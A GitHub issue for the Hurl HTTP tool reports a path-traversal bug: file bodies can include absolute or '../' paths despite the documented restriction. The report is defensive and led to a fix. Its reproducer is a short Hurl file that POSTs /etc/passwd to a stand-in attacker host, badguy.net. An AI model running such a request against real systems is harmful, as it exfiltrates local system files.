Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrary files can be included in body request/response #405

Closed
jcamiel opened this issue Dec 9, 2021 · 0 comments · Fixed by #463
Closed

Arbitrary files can be included in body request/response #405

jcamiel opened this issue Dec 9, 2021 · 0 comments · Fixed by #463
Assignees
Labels
bug Something isn't working
Milestone

Comments

@jcamiel
Copy link
Collaborator

jcamiel commented Dec 9, 2021

File inclusion (in request, response body etc...) should be very conservative (as written in https://hurl.dev/docs/request.html#file-body):

File are relative to the input Hurl file, and cannot contain implicit parent directory (..). You can use
--file-root option to specify the root directory of all file nodes.

In current Hurl version, any file can be included from absolute path to "escaping" path (ex ../../../secret.bin).
The following Hurl file, run without any option, should raise an error:

POST https://badguy.net
file,/etc/passwd;
HTTP/* 200
@jcamiel jcamiel added the bug Something isn't working label Dec 9, 2021
@jcamiel jcamiel self-assigned this Jan 24, 2022
@jcamiel jcamiel linked a pull request Feb 1, 2022 that will close this issue
@fabricereix fabricereix added this to the 1.6.0 milestone Feb 10, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants